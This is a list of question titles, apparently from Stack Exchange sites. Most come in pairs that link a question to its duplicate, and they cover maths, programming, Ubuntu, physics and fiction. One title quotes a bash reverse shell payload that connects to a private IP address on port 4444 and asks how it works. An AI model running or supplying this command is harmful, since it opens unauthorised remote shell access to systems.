Why too many capacitors in parallel for Vdd supply net? Can't we just add all to replace with one big capacitor?


Adding migration site when closing a question


How do I recover lost/inaccessible data from my storage device?


Can I use windows documents after install linux?

Can I open Microsoft Word and Excel files?


Prove the limit as $n$ tends to infinity for a bounded monotonic sequence $u_{n+1} = \sqrt{u_n + 1}$.

How do I prove the sequence $x_{n+1}=\sqrt{\alpha +x_n}$, with $x_0=\sqrt \alpha$ converges? ( boundedness?)


How do I pass variables and data from PHP to JavaScript?


How can I monitor the network traffic/bandwidth on windows?

How can I monitor internet usage in my network?


How can I find an international flight number?

Historical flight data outside of the USA?


Prove that there are infinitely many integers $n$ such that $\frac {2^{6n}-4}{6n-1}$ is equal to an integer

Proving infintely many primes of the form 6k-1


Force SSL/https using .htaccess and mod_rewrite


How did Norris get infected with the alien in the movie "The Thing"?

Who gets infected first in John Carpenter's The Thing?


Ubuntu 16.04 no desktop just background wallpaper

Unity doesn't load, no Launcher, no Dash appears


Matlab: how to use numeric arrays such as 1:2 to create a cell array such as {1,2}?

How can I convert a vector to a cell array?


Confusing Integral Expression: $\int{\frac{1}{x+\sqrt{x^2-x+1}}dx}$

Evaluation of $\int\frac{dx}{x+ \sqrt{x^2-x+1}}$


Use sql-maven-plugin inside my own plugin implementation


Changing pixel values using QGIS raster calculator?


How to delete a Test Class WITHOUT using eclipse


Does Goblin Arsonist's ability deal 2 damage when there are two in play?

How does having multiple permanents with the same name affect those permanents' abilities?


Accessing a Linux box for forget username and password

How to change the forgotten root password?


what happens and what should happen when an asker accepts a wrong answer?

What should happen to questions asked by non-existent users with answers that score higher than the accepted answer?


NullPointerException while Mocking jersey get method using Mockito

What is a NullPointerException, and how do I fix it?


If $G$ is a group and $H<G$ and $|G:H|=2$ prove that for each $a\in H$, $aH=Ha$


Is Stack Exchange / Stack Overflow available for private or internal use?


How can I abort a running JDBC transaction?


Why is "short thirty = 3 * 10" a legal assignment?

Primitive type 'short' - casting in Java


Example of creating and setting a Cycles material node with the Python API

Control Cycles/Eevee material nodes and material properties using python?


Subtracting datetime.datetime.now() from a datetime object


Manipulate inside Module - "Order of evaluation conflicts"

Syntax highlighter shows error for Manipulate when it's inside a Block or a Module


Get querystring value and automatically select dropdown option

How can I get query string values in JavaScript?


New 2.9 Feature: Correct Face Attribute (checkbox) not available in Options Drop-down


CPP const function parameters explanation


How to store variables in between scenes? Unity

What is the proper way to handle data between scenes?


What are some of the prerequisites for studying quantum field theory?

Prerequisites for ‘Quantum field theory and representation theory: a sketch’ [arXiv:hep-th/0206135]


Using the Function construct in a table with parameters


In nut shell, how to manually program a microconntroller

How were the first microprocessors programmed?


Why is the determinant of the all one matrix minus the identity matrix n-1?

How to calculate the determinant of all-ones matrix minus the identity?


RegEx for splitting the string by Space but ignoring spaces in quotes

Regex for splitting a string using space when not surrounded by single or double quotes


Column sorting on lightning:datatable only sorting one way?


How do I capture artificial light sources better?


Allow Ubuntu Server Access only from specific IP's


Finding all the possible values of an Integral in the Complex Plane

Possible values of $\int \frac{dz}{\sqrt{1-z^2}}$ over a closed curve in a region?


Hint to find the order of the group of $2\times 2$ matrices under multiplication

Order of general linear group of $2 \times 2$ matrices over $\mathbb{Z}_3$


Publishing approaches that do not outperform the state of the art on the field

Have researchers any incentive to publish negative or confirmatory results?


A polynomial $\ f(x)$ has integer coefficients such that $\ f(0)$ and $\ f(1)$ are both odd numbers. Prove that $\ f(x) = 0$ has no integer solutions.

Integer coefficient polynomial $p(x)$ has no integer roots of $\,p(0)$ and $p(1)$ are odd [Parity Root Test]


Excel. How to join tables by a column with sum?

Excel, want to read a column and sum up the values that match in another column


Dynamically access object property using variable


Why does redirecting a file into itself clear its content?

redirect to the same file as the source file processed by the command


16.04 Upgrade: Failed to fetch Empty files can't be valid archives


If $\frac{\cos x+\cos y+\cos z}{\cos(x+y+z)}=\frac{\sin x+\sin y+\sin z}{\sin(x+y+z)}=k$, then find $\cos(x+y)+\cos(y+z)+\cos(z+x)$.


How to import a module given the full path?


Probability question about coin flipping

What's the probability that a sequence of coin flips never has twice as many heads as tails?


Estimating the true frequency of rare events

How to tell the probability of failure if there were no failures?


Changing the currently open tab in graph editor with Python

Get current editor toolbar tab via Python?


What do these email newsletter services do to prevent their emails from going to SPAM folders?

How to send emails and avoid them being classified as spam?


Soft Question- Proving a number $p$ is prime

If $p$ and $p^2+8$ are both prime numbers, then $p^3+4$ is prime.


how to show that $a_{n+1}=\sqrt{6+a_{n}}$ is bounded?

$\sqrt{c+\sqrt{c+\sqrt{c+\cdots}}}$, or the limit of the sequence $x_{n+1} = \sqrt{c+x_n}$


Submit button needs to be clicked twice on IE


Will water waves diffract through a gap smaller than their wavelength?

What happens to waves when they hit smaller apertures than their wavelenghts?


If $G$ is a group, $H,K \leq G$, $K \subseteq H$, $\left[G:H\right]$ and $\left[H:K\right]$ both finite then...


What is the meaning of accepting an answer (esp. less upvoted) in the child meta sites?

If votes works differently on meta sites how does that of accepting answers work?


Extend an already existing object in Python

Understanding Python super() with __init__() methods


Why do floating point numbers in c# and python not calculate correctly


What's the difference between 'r+' and 'a+' when open file in python?

Difference between modes a, a+, w, w+, and r+ in built-in open function?


Transit through Vancouver International (Round trip US-India-US)

Is there a way to find out if I need a transit visa for Canada?


Why can't the  tag contain a  tag inside it?


Is there Ubuntu Server for 32bit systems?


How do I store 2 pounds of Grated Parmesan cheese


$f(0)=g(0)$ and $f'(x) \leq g'(x) ~\forall~ x \in \mathbb{R} \implies f(x) \leq g(x) ~\forall~ x>0$

If $f'(x)\le g'(x)$, prove $f(x)\le g(x)$


How can I calculate $\lim\limits_{x\rightarrow 0} \frac{(1+x)^{\frac{1}{x}}-e}{x}$?

Limit of $x\left(\left(1 + \frac{1}{x}\right)^x - e\right)$ when $x\to\infty$


Texture Paint isn't saving. Cycles Render

Why did the texture I painted in texture paint mode disappear?


How to apply a displacement modifier to one area of an object from an image?

Apply subsurf modifier to only part of an object


How do I identify which Linux distro is running?

How can I get distribution name and version number in a simple shell script?


Can a singular or plural verb ("is" or "are") be used when the subject is a coordination?


Approximately how many people uses Ubuntu and linux in general?

How many Ubuntu users are there worldwide ?


Working out elapsed time from two columns in ORACLE SQL

Calculate difference between 2 date / times in Oracle SQL


input autocomplete="off" not working in Chrome latest version

How do you disable browser autocomplete on web form field / input tags?


Over the Range Microwave not bolted from cupboard above

un-installing a microwave that does not have any visible top cabinet attachment


How to properly write multiple authors in bibtex file?


How would I integrate following trigonometric function $\displaystyle\int \sin^3(x) \,\operatorname{d}x$?


If $A$ is compact, is then $f(A)$ compact?


Show that $\sum_{n=1}^{\infty}a_n$ converges if $\sum_{k=0}^{\infty}2^ka_{2^k}$ converges…


Stackoverflow is being ripped without attribution in queryby.com

Report sites that use Stack Exchange content without following attribution rules here


Why are red blood cells not attacked by NK cells?


Asymptotic expansion for $u_{n+1}=u_n+\ln(u_n)$

What is a good asymptotic for $f_n = f_{n-1}+\ln(f_{n-1})$?


In what scenario 'this' pointer is passed to the class methods?

Does every c++ member function take `this` as an input implicitly?


Reimplement a virtual function from base class in a derived template class

Why can templates only be implemented in the header file?


How do I find the area of the shaded part

Area of intersection between 4 circles centered at the vertices of a square


LTSpice: How to convert netlist to .asc?

How to generate schematic visual from Gnucap / Spice files


Rotating screen breaks "Post" button for comments in Android app


GetType from object is returning RuntimeType

What's the difference between System.Type and System.RuntimeType in C#?


Should physical solution to Schrödinger eq. always be real in one dimencional space?

When Eigenfunctions/Wavefunctions are real?


How to see list or history of all deleted answer on StackOverflow?

How does deleting work? What can cause a post to be deleted, and what does that actually mean? What are the criteria for deletion?


How to foster proper use of comments, and deter comment-as-answers

When to answer a question and when to comment on a question?


Is there a limit on the number of USB devices you can plug into a laptop when using a USB hub?


What quantum mechanical effect allows light to gain it's speed when it moves from another medium back into air/vacuum?

How does light speed up after coming out of a glass slab?


Pip Error while installing: virtualenv, django and upgrading pip

Error in pip: unsupported operand type(s) for -=: 'Retry' and 'int'


Install Ubuntu onto USB flash drive, black screen

My computer boots to a black screen, what options do I have to fix it?


How can you use the Law of Cosines to show that "u ∙ v = ║u║║v║cosθ "

How to understand dot product is the angle's cosine?


What time before the expiry of a visa could I enter France?

Can I enter a Schengen country (France) during the last two days of validity of my tourist visa?


When did English stop requiring capitalisation of non-proper nouns?

What were the rules for capitalising nouns in the 17th and 18th centuries?


Assumption while deriving Time Independent Schrödinger equation

Time dependent Schrödinger equation with time independent potential and separation of variables


Can I get an explanation of this payload how its working? bash -i >& /dev/tcp/10.2.58.116/4444 0>&1

What are the shell's control and redirection operators?


Use ColorFunction in ListLinePlot with If


A circular field encloses maximal area for minimal perimeter

Why does a circle enclose the largest area?


Why don't the Ubuntu repositories have the latest versions of software?


Possible explanation of dark matter/dark energy?

Could dark energy be the effect of gravity at great distances?


Joining Video files and adding chapters for each

Can ffmpeg merge multiple m4a files into one ~chapterized~ file?


Why won't the terminal change to my shared folders directory?


What are the axes of a t-SNE scatterplot?

What is the meaning of the axes in t-SNE?


Access iCloud shared photo stream files on filesystem

Where does Photos store iCloud photos shared with me?


Off-diagonal elements of the inertia tensor and its eigenvalues

What is the physical significance of the off-diagonal moment of inertia matrix elements?


Unable to view the desktop after restart

Unity doesn't load, no Launcher, no Dash appears


What’s the rule for using “who” and “whom” correctly?


How to make code wait while calling asynchronous calls like Ajax

How do I return the response from an asynchronous call?


No Wifi Similar to: bcmwl-kernel-source broken on kernel: 5.8.0-34-generic


How to format a date from Oracle to a valid datetime in c#

C# How to parse a string of date in an arbitrary specified Oracle date format?


Divergence of $\sum \limits_{n=1}^{\infty}\frac{a_n}{a_1+a_2+\dots+a_n}$

If the positive series $\sum a_n$ diverges and $s_n=\sum\limits_{k\leqslant n}a_k$ then $\sum \frac{a_n}{s_n}$ diverges as well


Why does my shell script choke on whitespace or other special characters?


Positioning a div at the bottom of a fixed size container

How do I get a div to float to the bottom of its container?


Is There a Difference Between Taxonomies and Categories?


How to remove unwanted system applications in Andriod on Samsung Tab 4 T231?


Loosing my Win 8 loosing my Ubuntu this is the problem!

How do I install Ubuntu alongside a pre-installed Windows with UEFI?


Number of ways of distributing identical items among people.


Application is unexpectedly crashed when button is clicked

What is a NullPointerException, and how do I fix it?


What should I do if a user posts sensitive information as part of a question or answer?


How can I implement rate limiting with Apache? (requests per second)


Get all possible combinations (power set) from ArrayList (or set) of elements

Algorithm to return all combinations of k elements from n


A proof for the inequality $\sum_{i=0}^{t-2}{\frac{1}{t+3i}} \leq \frac{1}{2} $ for all $t \geq 2$


Is Earth even mentioned in any Star Wars stories (including the extended universe)?

Has any reference been made to Earth or the Milky Way in Star Wars EU?


ResultSet exception - before start of result set


How to restrict accès to pre- installed apps, in. Big Sur?

How to restrict access to applications in Big Sur?


Proof/Derivation of Closed form of Binomial Expression $\sum\limits_{k=0}^{2n}(-1)^k\binom{2n}{k}^2$


Using a full frame lens on a crop sensor camera

Will there be any difference in photos taken using full frame and crop lenses on a crop camera?


Have a 'file' generate its content on demand?

Create a virtual file that is actually a command


Getting "global name 'foo' is not defined" with Python's timeit


Problem while Installing on Windows 7 laptop

How do I install Ubuntu alongside a pre-installed Windows with UEFI?


How many rectangles can be obtained by joining four of the $12$ vertices of a $12$-sided regular polygon?


Is it possible to build a high-traffic Drupal community website without hacking?

Real world experience in scaling and tuning performance


How is a Targaryen immune to molten metal?


documentclass{book} + mdframed + leftmargin


Getting ThunderBird installed on Ubuntu 14.04

How do I install the latest stable version of Thunderbird?


upgrade from 12.04 to 14.04 via CD/USB image

How can I upgrade Ubuntu LTS to the next one offline?


Are there really security risk when running Wine?

Risks/Disadvantages associated with Wine


Validate email regex with invalid characters using javascript

How to validate an email address in JavaScript


Solution for $\sum_{i=0}^{n} \sin(\frac{i\pi}{2n})$?

How can we sum up $\sin$ and $\cos$ series when the angles are in arithmetic progression?


How to remove Ubuntu and put Windows back on?


I can't push DX source to namespaced scratch org

Using DX Scratch Orgs to deploy code with legacy ant scripts


Passing PHP-variable to Javascript doesn't work via PHP-function (not about global variables)


What's the name of the fallacy when you use a worst situation to ignore the current?

What fallacy dismisses problems by presenting "bigger" problems?


Changing the default file path for \addplot table {myfile}

pgfplots from file: search path, looking for \graphicspath equivalent


Why to add both HTTPS & HTTP versions to Google Webmasters?

Why do I need multiple sites for the same property in Google Webmaster Tools?


Hudson, triggers based on tagging in SVN

Hudson: how do i use a parameterized build to do svn checkout and svn tag?


Changing the username in terminal in Ubuntu 14.04


Can we construct a divergent sequence where the difference between consecutive terms is less than epsilon for $n \geq N$?

Does an increasing sequence of reals converge if the difference of consecutive terms approaches zero?


Why does our Solar system not feel the effects of dark matter the way our galaxy does?

Why doesn't dark matter affect planetary motion?


Split a string with unknown number of spaces as separator in Python


Need help to show the convexity of a function

Composition of convex function and affine function


Regex to only allow alphanumeric, comma, hyphen, underscore and semicolon


android java : creating another relativelayout

The markup in the document following the root element must be well-formed?


How do I enable comments for user profiles?


Troll usurps opponent's user name – What to do?

Can we report / do anything about a persistent troll?


How to read and write into file using JavaScript?


The new top bar gets crowded — too crowded to the point of things overlapping

Suggested edits in top-bar put flags over the winterbash snowflake


Super Bowl home field advantage - home team vs away?


Code appended with JQuery does not fire click event on input file

Event binding on dynamically created elements?


Find the infinite sum of the series $\sum_{n=1}^\infty \frac{1}{n^2 +1}$


\pagestyle{empty} doesn't seem to work for page with \maketitle


How do I go about porting Ubuntu Touch to different devices?


I can't send a JSON object to JAX-RS (Jersey) service with POST

What is a NullPointerException, and how do I fix it?


How to get innertext of a DIV using javascript?

how to use simple html dom get a div inner text


Why can't variables be declared in a switch statement?


Postfix fatal: open /etc/postfix/main.cf: Permission denied


rounding numbers up in javascript having problems

How to round to at most 2 decimal places, if necessary?


Server 2008 Setup Remote Desktop Services

Can you help me with my software licensing issue?


Subdivision surface modifier distorts shape

Keep sharp edges when using subdivision surface


Does scanf() take '\n' as input leftover from previous scanf()?


How do I give a villager trades with custom NBT tags

Where do I put item tags on items inside a chest or your inventory?


Can anyone help me figure out what this "find" command with curly braces is saying?

GNU find and masking the {} for some shells - which?


With a UK 6-months visa, can I leave and re-enter before that?

Can I leave the UK and come back in, on a Tourist visa?


Two independent variables both correlate with the dependent variable, but none are significant in a regression analysis

How can a regression be significant yet all predictors be non-significant?


Installation error - PostGIS on Ubuntu 18

Cannot create PostGIS extension with Ubuntu 18.04


Listen to click events on elements that aren't appended

Event binding on dynamically created elements?


Is there any way to simplify the product of cosines?

Product of cosines: $ \prod_{r=1}^{7} \cos \left(\frac{r\pi}{15}\right) $


What is the time evolution operator in quantum mechanics

Why does time evolution operator have the form $U(t) = e^{-itH}$?


Can I avoid releasing allocated memory in C with modern OSes?

When you exit a C application, is the malloc-ed memory automatically freed?


SQL how to use alias to carry a table name through t-sql

Solutions for INSERT OR UPDATE on SQL Server


Regex - return match between strings in template literals

How do I match any character across multiple lines in a regular expression?


How does MySQL update the fields value in the same table?

MySQL Error 1093 - Can't specify target table for update in FROM clause


Group of order $105$ with a normal Sylow $3$-subgroup is cyclic

Suppose $|G| = 105$. Show that it is abelian if it has a normal $3$-Sylow subgroup.


AnyConnect on ASA5520 licensing required?

Can you help me with my software licensing issue?


In Java or Groovy, how to find file type of byte[]?

How to get a file's Media Type (MIME type)?


Python: looping through values of two vectors

Cartesian product of x and y array points into single array of 2D points


setting the size of navigationbar icon ios


How does SFTP transfer files when SCP cannot?

What's the difference between SCP and SFTP?


Newly added element with multiple div's using JQuery

Event binding on dynamically created elements?


Academically dismissed from grad school but want to reapply

How does the admissions process work for Ph.D. programs in the US, particularly for weak or borderline students?


Passing a variable with spaces from bash to awk

Security implications of forgetting to quote a variable in bash/POSIX shells


How my ip address will come automatically in a texbox

Get client IP address via third party web service


Problem with bleutooth on Lenovo G510 and Ubuntu18.04


In a NOR gate not connected to any power supply, how can the output be '1' if both of the inputs are '0'?


What do querySelectorAll and getElementsBy* methods return?


is it possible to divide JavaScript variable?

Use dynamic variable names in JavaScript


Erratic behavior with automaton library tikz on overleaf

Is it possible to load a TikZ library locally?


If $A + B + C = \pi$, then show that $\sin(A) + \sin(B) + \sin(C) = 4\cos\frac{A}{2}\cos\frac{B}{2}\cos\frac{C}{2}$

Prove that $\sin(2A)+\sin(2B)+\sin(2C)=4\sin(A)\sin(B)\sin(C)$ when $A,B,C$ are angles of a triangle


What is the best way to flatten a linked list with lists as values?


Why don't metals bond when touched together?


When I scroll of the custom listview, content doesn't seem

When I scroll of the custom listview in fragment, it's content doesn't seem


Upgrading Ubuntu 17.10 to 18.04 failed and won't boot

How to repair Ubuntu installation after interrupted dist-upgrade without losing any custom settings?


Best way to implement keyboard shortcuts in a Windows Forms application?


Using comparator to sort multiple class properties

How to compare objects by multiple fields


In LOTR: RoTK (movie) at the "Battle of the Black Gate", why do orcs die after Sauron is defeated?

What happened after the Ring was dropped into Mount Doom?


A way to encourage/enforce constructive comments rather than anonymous down-votes. Please discuss


Installing postgresql-10 libgssapi-krb5-2 (>= 1.14+dfsg) but 1.13.2+dfsg-5ub

Unable to correct problems, you have held broken packages


Splitting pieces of a mesh into a new object


VSCode error when launched from terminal

Running programs in the background from terminal


Virtual box-not filling entire screen even after installing aditional files

VBox Guest Additions ISO can't be mounted because of VERR_PDM_MEDIA_LOCKED


How can $\hat p = - i \hbar \partial_q$ be derived starting from the definitions of $\hat q$ and $\hat p$ in terms of creation/destruction operators?

What is the most general expression for the coordinate representation of momentum operator?


How to run a command at startup with systemd?


Combinatorics and statistics question regarding drawing every element

Expected time to roll all 1 through 6 on a die


Lenovo X250 - Wifi Connection drops constantly - Ubuntu 14.04

Wifi losing connection, weak signal, Intel 7260 adapter


java - discrepancy when passing parameter of different type and update

Is Java "pass-by-reference" or "pass-by-value"?


How can I turn-off my laptop screen immediately if I want to?


"Should be done by" or "should have been done by"?

How do the tenses and aspects in English correspond temporally to one another?


How to run docker exec using Java on a docker container

What is a NullPointerException, and how do I fix it?


Prevent Image Capture from opening when a memory card is inserted

Image capture opens after iPhone is connected


404 Not Found when installing updates on Kali Linux

What should be in the sources.list for Kali Rolling Linux?


Split on spaces except those within quotes but also allow escaped quotes

Split a string by whitespace, keeping quoted segments, allowing escaped quotes


Won Announcer badge even without sharing the link externally

Why did I just get the Announcer Badge and the Booster badge?


Did Voldemort's soul only rip apart when he decided to make a Horcrux?

Can a Muggle inadvertently create a horcrux-like object?


Trying to put a string into an array in c


Incorrect certificate on hatdash.com / blog.gaming.stackexchange.com

How does SE manage their domains and determine the ones to renew?


Dimension of the $n\times n $ matrices with some conditions

Finding the dimension of a given vector space


Why is small work done always taken as $dW=F \cdot dx$ and not $dW=x \cdot dF$?


How to build large demultiplexers using SystemVerilog?

How to build large multiplexers using SystemVerilog?


change the background color for  while loading the page in ASP.NET

How to set background color of HTML element using css properties in JavaScript


How can I get the Client IP of the java RMI programming?

Determine remote client IP address for Java RMI call


how to make a c# library invisible by main call?


How do Ι show if $a^n-1$ is prime for $n >1$ then $a=2$?

If $a^{n}-1$ is prime then $a=2$ and $n$ is prime?


Glob filter format with regular expression

glob() - sort array of files by last modified datetime stamp


How to find out cl.exe's built-in macros


Font family used in creating inserted document

How do I find out what fonts are used in a document/picture?


Locate the ".Rprofile" file generating default options


What are really the prefix rules for options: - and -- ? Why is the find command not compatible with the --name option?

The discrimination between short and long option is only `-`?


Is there any evidence in The Force Awakens towards or against Jar-Jar being Snoke?

What is J.J. Abrams opinion of fan theory of Jar Jar as the ultimate Sith Lord?


Proving $AB = BA$ when $A$ is the Identity matrix times a scalar.


Estimating process standard deviation for a quality control chart. What is $s/(c4)$ and how to calculate it in R?

Why is sample standard deviation a biased estimator of $\sigma$?


How can I install a CPAN module into a local directory?


Memorize window locations connecting / disconnecting monitor

Remember window locations when docked and undocked


best way to delete unused apex classes and triggers in production

Deleting Triggers/Classes from Production


QUERY FAILED: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near


How do I go from Ubuntu 14.04 to Windows?

How to remove Ubuntu and put Windows back on?


How to put symbol on top of another one?

Expression under summation on multiple lines


Software center not loading software lists


Only new folder in context menu on Windows 7

How to (re)enable the "New" context menu items for an administrator when right-clicking in a folder and selecting New > X?


change color of the face in a 2D ConvexHullMesh

Probable Bug in HighlightMesh with 2D Convex Hulls created via ConvexHullMesh


How may I add text into the citation basket?

cite an existing equation into a reference


What are the system requirements for each flavour of Ubuntu Desktop?


Is this arthropod non-intrusive and recommended to be left alive?


Why is $i$ used in the equations for quantum mechanics?


What is a NullPointerException, and how do I fix it?


the way to edit python list (if all elements are same)

List of lists changes reflected across sublists unexpectedly


The magnitude of $|-\sin t + \cos t|$ is.

Prove: $|a\sin x+b \cos x|\leq \sqrt{a^2+b^2}$


Creating vertical divider with CSS3 / Compass rather than using image


what is going wrong when I compare to equal elements of String


Every time I try to install a package, I get this error

How do I fix a "Problem with MergeList" or "status file could not be parsed" error when trying to do an update?


Can someone explain the difference between Strong, Soft, Weak and Phantom references and the usage of it?

What's the difference between SoftReference and WeakReference in Java?


PCA returns the same pair of principal axes for completely different 2D datasets

Does a correlation matrix of two variables always have the same eigenvectors?


When submitting German characters "β" and "ä, ü, ö, ë" to database via php they do not display correctly

Problem with storing german words into the MySql DB....?


Beamer \beamerdefaultoverlayspecification{} and \pause for texts below itemize environment

Showing a text after an itemize[] with \pause creates double slide


What statistical test to use when both predictor and response are count data?

What statistical test to use for discrete predictor and response variables?


$\sigma$-algebra that is countable, but not finite

If $S$ is an infinite $\sigma$ algebra on $X$ then $S$ is not countable


How to check whether two colors are same using JS/jQuery

How can I compare two color values in jQuery/JavaScript?


Let me add or change edit summary during edit window (grace period)


Making substrings of multiple lines while reading with BufferedReader


diagonalizability and invariant subspaces

Diagonalizable transformation restricted to an invariant subspace is diagonalizable


How to build your own preset(node) in Animation Nodes?


Berry naming scheme list of LaTeX font families


Eigen decomposition of Householder operator

Eigen-Decomposition of Householder operator


Why do embassies request for ticket reservation?

Why do some consulates ask you to purchase a flight ticket for a visa application?


What is the difference between Map myMap = new HashMap and HashMap myMap = new HashMap?

What does it mean to "program to an interface"?


How to edit SharePoint Designer 2010 sites from SharePoint 2013?

Can I use SharePoint Designer 2013 to edit SharePoint 2010 sites?


Is there a way to insert right braces and text to the right of a matrix using LYX?

How do I label different rows or columns of a matrix using braces?


What form must a function $f$ have if $f(f(x)) = f$ and $f$ is differentiable?


Is there a reason to create a method in the constructor in c#?


How to replace comma with a dot in the number (or any replacement)


prevent a command from sending both stdout & stderr to any terminal or file


My Batch apex is covering only 50% test coverage can anyone help me to make it 100% coverage

How do I increase my code coverage, or why can't I cover these lines?


What is the difference between #include  and #include "filename"?


Javascript alert value after ajax request

How do I return the response from an asynchronous call?


One Google Adsense account: two diverse websites. How to combine?

Google AdSense setup for multiple websites with different subjects


presentation title out of range using Boadilla theme


For $c \in \mathbb{R}$, the equation $\dfrac{1}{x-a_1} + \dfrac{1}{x-a_2} + \ldots + \dfrac{1}{x-a_n} = c$ has $n-1$ real solutions


Compare two html codes in Php and highlight the differences in html

Highlight the difference between two strings in PHP


`if __name__ == '__main__'` equivalent in Ruby


Question regarding (i), on page 31 of Dirac Principles of QM

How to prove that if the expectation value of $A$ in any state is real, then $A$ is Hermitian?


What is more dense, Neutron Star material, or Black Hole material?

What happens to atoms inside a black hole?


For a distant observer can a black hole form and grow in finite time?

How can anything ever fall into a black hole as seen from an outside observer?


What is the fastest way to get money in GTA San Andreas?


How to create a deep unmodifiable collection?


Why are only final variables accessible in anonymous class?


get all DOM elements with certain name mask


Javascript Hoisting, Function delaration

var functionName = function() {} vs function functionName() {}


Determine the number of positive integers that share at least one of the numbers

Method for Counting the Divisors of a number


What is the time span of the Prequel Trilogy and Original Trilogy?

How long, in-universe, were each of the Star Wars movies?


How to prove that path of a charged particle in a uniform magnetic field is circular or helical?

Helical motion of charged particle in external magnetic field


Why do we weigh less on equator when centrifugal force isn't a force at all?

Why is Earth's gravity stronger at the poles?


How can I fix a 404 Error when using a PPA or updating my package lists?


Does the wash rule apply for naturally expired option contracts

When an option expires does that constitute a buy or sell


Total time taken for an accelerating frame in special relativity

Travel duration from Earth to a star at 9.8 m/s² acceleration


Are there any specific official rules for playing 5e past lvl 20?

What character growth happens beyond level 20?


What is this white circle on this circuit?

What kind of components are black blobs on a PCB?


Install pantheon desktop on Ubuntu 15.10?


Books with mages exploding on death normally - but not when other mages siphoned their magic through their blood in their last moments

YA book about a young powerful female caster attending a school that trains in magical arts and duels


How do you remove a "duplicate" label from a question?


What's the difference between "will turn on" and "going to turn on "?


Thread 1: EXC_BAD_ACCESS (code=EXC_I386_GPFLT) is causing my scanf to fail

How do I determine the size of my array in C?


Given inner parabola curve $y=0.1x^2$ and thickness $d$, find outer curve

Formula for curve parallel to a parabola


Grass tools not working in QGIS 2.14.3-ESSEN, OSGEO4W

QGIS 2.14.1 LAStools install error: "wrong value for parameter 'Msys folder'..."


Stylesheet comment header: Which header names are mandatory?

Which Details Are Required For Style.css File Header?


How to raise desktops without clicking on "Activities"

How do I show running windows without clicking the "Activities" button but only hovering over it?


extract digits in a simple way from a python string

How to extract numbers from a string in Python?


Closest equivelant to TexShop on Windows or Linux?


Generate all unique permutations of 2d array


Edit SharedPreference value from other class

What is a NullPointerException, and how do I fix it?


Can't upgrade using a liveUSB, through the newer version is recognized

How to upgrade to a newer release of Ubuntu using the Live CD?


How to install Windows on GPT disk without UEFI BIOS?

Is there any way to boot Windows 7/8 using BIOS on GPT?


How to prove $\sum_{i=0}^{n} \binom{n}{i}=2^n$

Proving by induction that $ \sum_{k=0}^n{n \choose k} = 2^n$


Given that $p$ is a prime, and the sum of all positive divisors of $p^4$ is a perfect square, find the possible number of primes $p$ .


Excluding Specific Feature classes from ModelBuilder iteration?

Using Python script as precondition in ArcGIS ModelBuilder?


How do I adjust the Clock Indicator format?


Subtracting (erasing) polygons from polygon using ArcGIS for Desktop?


using regex with special characters in javascript

Is there a RegExp.escape function in JavaScript?


What is the opposite of "parallel" in architecture?


Having issues running Django with Postgres

python pip install psycopg2 install error


Conditional formating if cell is a formula

Highlight all cells in a range that contain a formula in Google Sheets


How to set the overlay in this KOMA-Script Presentation?


How to install seprate OSs on different partitions


Energy-momentum tensor of a fluid for scalar fields

Does metric signature affect the stress energy tensor?


How to reinstall Ubuntu 16.04 on dual boot PC?


How can I do automatic 'environment' of command in 'Texmaker'?


How to make this heart (♥) using keyboard?

How can I type a Unicode character (for example, em-dash —?)


enforcing an envirnomental variable to a terminal/tty


Not able to assign any scripts to my game object


New, extremely simple golden ratio construction with two identical circles and line. Is there any prior art?

New Golden Ratio Construction with Two Adjacent Squares and Circle. Have you seen anything similar?


Independence and correlation of continuous random variables

Components of an n-dimensional random variable from a uniform distribution are independent


Is it possible to interconnect 2 PC with Thunderbolt 3?

network connection over thunderbolt bridge between linux and mac


Two inline-block, width 50% elements wrap to second line


Dependency error after attempting to install realtech audio drivers

Trying to overwrite ... which is different from other instances of package


Ubuntu 20.04 application search bar missing

My Applications are not showing after upgrading from Ubuntu 18.04 to 20.04


How can I read, write, and modify the contents of a notepad (.txt) file, in Winform and WPF?

Easiest way to read from and write to files


Differentiability and Limits of derivative

Prove that $f'(a)=\lim_{x\rightarrow a}f'(x)$.


Concatenating several .mp3 files into one .mp3


Convergence of product of convergent series


What is a NullPointerException, and how do I fix it?


Converting .mxd files to be compatible with earlier version?

Converting mxd to earlier version using ArcPy?


$ x \ge 0\text{ and } y \ge 0 \implies \frac{x+y}{2} \ge \sqrt{xy} $


Why is the number of people reached by Community account only ~612?

We're working on a new stat to help convey the reach of your posts here


Transparency from shader becomes white when exporting on transparent background

Render semi-transparent volume with cycles


Prevent loss of variables when browser reload button is pressed


Name for pairs of words with a strong association?

What do you call the frequent conjunction {juxtaposition} of two words?


how to display below data using loop using javascript

How to list the properties of a JavaScript object?


Is there a rule for transforming surnames into adjectives?

Are there rules for forming adjectives from names?


Prime elements in the ring of integers adjoin a complex number.

The prime elements of the ring $ \mathbb{Z} \! \left[ \dfrac{i \sqrt{3} - 1}{2} \right] $.


What is wrong with defining \bal as \begin{align}?


Attempt to invoke virtual method 'void android.widget.GridView.setAdapter (can see the data in gridview on my phone before it appcollapse)

What is a NullPointerException, and how do I fix it?


How to code values for males when they're only meaningful for females?

How do you deal with "nested" variables in a regression model?


To refer to singular/plural items without knowing the actual quantity

Singular or plural when there is no plural antecedent?


What did we learn about Snoke in The Last Jedi?


Unable to use apt-get after attempting to install kubuntu-desktop in Ubuntu 15.10

apt-get, unmet dependencies, ... "but it is not going to be installed"


Why is Yara Greyjoy calling herself Queen?

Why is Daenerys willing to let Iron Islanders secede but not the Northmen?


My linux-firmware just updated. What signs of trouble should I watch for as a user?


How to keep special characters(āēīōūĀĒĪŌŪ) in php and avoid them converting?Please do not mark as duplicate


Prove that $\lim \limits_{n \to \infty} \frac{x^n}{n!} = 0$, $x \in \Bbb R$.


There is a way to use my Galaxy tab s like a wacom table, on linux?


Get Display Name in Generic Enum Editor Template

How do you create a dropdownlist from an enum in ASP.NET MVC?


Relationship Between Circles Under Inversion

Mapping circles via inversion in the complex plane


How to make sure Google doesn't think index.html and homepage pages are duplicate content?

Google is counting the domain home page ("/") as a duplicate of "/index.html"


Why are Marvel's universes referred to as "Earth"-####?

Who invented the Marvel Multiverse numbering system?


How do I view the questions marked as favourite?


Prove limit superior of a sequence is greater than or equal to limit superior of the Cesàro mean of that sequence

If $\sigma_n=\frac{s_1+s_2+\cdots+s_n}{n}$ then $\operatorname{{lim sup}}\sigma_n \leq \operatorname{lim sup} s_n$


Matrix to the nth exponent is it's own derivative. Coincidence or not?

Why does this matrix give the derivative of a function?


Passing an array to a query using a WHERE clause


question about p values and significance comparison

